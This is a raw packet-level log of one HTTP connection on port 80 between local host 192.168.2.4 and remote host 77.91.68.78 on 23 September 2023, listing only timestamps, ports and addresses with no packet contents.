Sep 23, 2023 17:53:35.568723917 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.568764925 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.568804026 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.568824053 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.568860054 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.568860054 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.568892956 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.568912983 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.568948030 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.568984985 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.569020987 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.569053888 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.569089890 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.569122076 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.569155931 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.569161892 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.569192886 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.569232941 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.569267988 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.569304943 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.569344044 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.569375992 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.569416046 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.569428921 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.569463968 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.569505930 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.569540024 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.569571972 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.569607973 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.569662094 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.569698095 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.569732904 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.569766045 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.569783926 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.569828987 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.569895029 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.569930077 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.569947958 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.569983959 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.570022106 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.570063114 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.570070028 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.570099115 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.570133924 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.570168972 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.570260048 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.570295095 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.570312023 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.570348024 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.570382118 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.570413113 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.570475101 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.570509911 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.570547104 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.570585012 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.570636988 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.570672035 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.570689917 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.570719957 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.570724964 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.570755005 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.570862055 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.570905924 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.571110964 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.571139097 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.571155071 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.571161032 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.571171999 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.571181059 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.571190119 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.571199894 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.571207047 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.571217060 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.571234941 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.571253061 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.571290970 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.571294069 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.571326017 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.571327925 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.571363926 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.571400881 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.571445942 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.571459055 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.571506023 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.571533918 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.571571112 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.571588993 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.571625948 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.571630955 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.571660042 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.571692944 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.571728945 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.571739912 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.571774960 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.571824074 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.571863890 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.571863890 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.571908951 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.571938992 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.571975946 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.572000980 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.572041988 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.572057962 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.572098017 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.572102070 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.572141886 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.572165966 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.572205067 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.572223902 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.572262049 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.572269917 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.572309017 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.572354078 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.572393894 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.572402000 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.572434902 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.572458982 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.572515965 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.572530985 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.572580099 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.572618961 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.572628021 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.572686911 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.572705984 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.572748899 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.572762966 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.572810888 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.572822094 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.572866917 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.572870016 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.572911024 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.572935104 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.572979927 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.573010921 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.573046923 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.573048115 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.573086977 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.573112011 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.573153973 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.573154926 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.573194027 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.573256016 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.573299885 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.573301077 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.573338985 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.573343039 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.573378086 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.573379993 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.573415041 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.573457956 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.573496103 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.573520899 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.573565960 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.573582888 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.573621035 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.573663950 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.573700905 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.573779106 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.573821068 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.573844910 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.573875904 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.573916912 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.573959112 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.573968887 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.573999882 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.574023962 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.574059010 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.574120998 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.574158907 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.574210882 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.574249029 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.574292898 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.574331999 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.574357033 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.574393988 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.574465036 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.574505091 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.574506998 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.574528933 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.574553013 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.574573040 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.574609995 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.574647903 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.574668884 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.574704885 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.574728966 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.574774027 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.574798107 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.574840069 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.574863911 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.574903011 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.574944973 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.574981928 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.574989080 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.575022936 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.575066090 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.575102091 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.575103998 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.575145960 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.575162888 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.575201988 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.575223923 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.575263977 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.575314045 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.575330973 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.575356007 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.575407028 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.575428009 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.575440884 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.575491905 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.575509071 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.575531006 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.575548887 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.575576067 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.575617075 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.575659990 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.575675964 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.575695038 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.575714111 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.575748920 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.575814009 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.575817108 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.575856924 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.575898886 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.575938940 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.575939894 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.575973988 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.575983047 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.576029062 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.576054096 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.576097965 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.576141119 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.576178074 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.587929964 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.624592066 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.624933004 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.624983072 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.625395060 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.625441074 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.625492096 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.625531912 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.626286983 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.626322031 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.626364946 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.626400948 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.626796007 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.626833916 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.626878023 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.626912117 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.627074003 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.627110004 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.627325058 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.627362013 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.627505064 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.627542019 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.627542973 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.627578974 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.627857924 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.627893925 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.627948999 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.627986908 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.628010035 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.628046036 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.628087997 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.628125906 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.628503084 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.628546953 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.628555059 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.628591061 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.628633976 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.628669977 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.628699064 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.628734112 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.628741980 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.628779888 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.628797054 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.628833055 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.628892899 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.628928900 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.628952026 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.628988981 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.629014015 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.629050016 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.629092932 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.629131079 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.629180908 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.629216909 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.629278898 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.629318953 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.629369974 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.629406929 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.629431009 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.629467964 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.629511118 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.629549026 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.629554033 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.629589081 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.629699945 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.629739046 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.629786968 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.629803896 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.629833937 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.629848957 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.629920006 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.629935980 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.629961967 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.629976988 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.630019903 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.630055904 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.630084038 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.630120993 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.630189896 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.630228043 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.630306005 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.630343914 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.630386114 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.630422115 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.630425930 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.630461931 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.630486012 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.630522013 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.630616903 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.630651951 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.630701065 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.630739927 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.630763054 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.630796909 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.630846977 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.630882025 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.630908966 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.630945921 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.630987883 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.631027937 CEST	49827	80	192.168.2.4	77.91.68.78
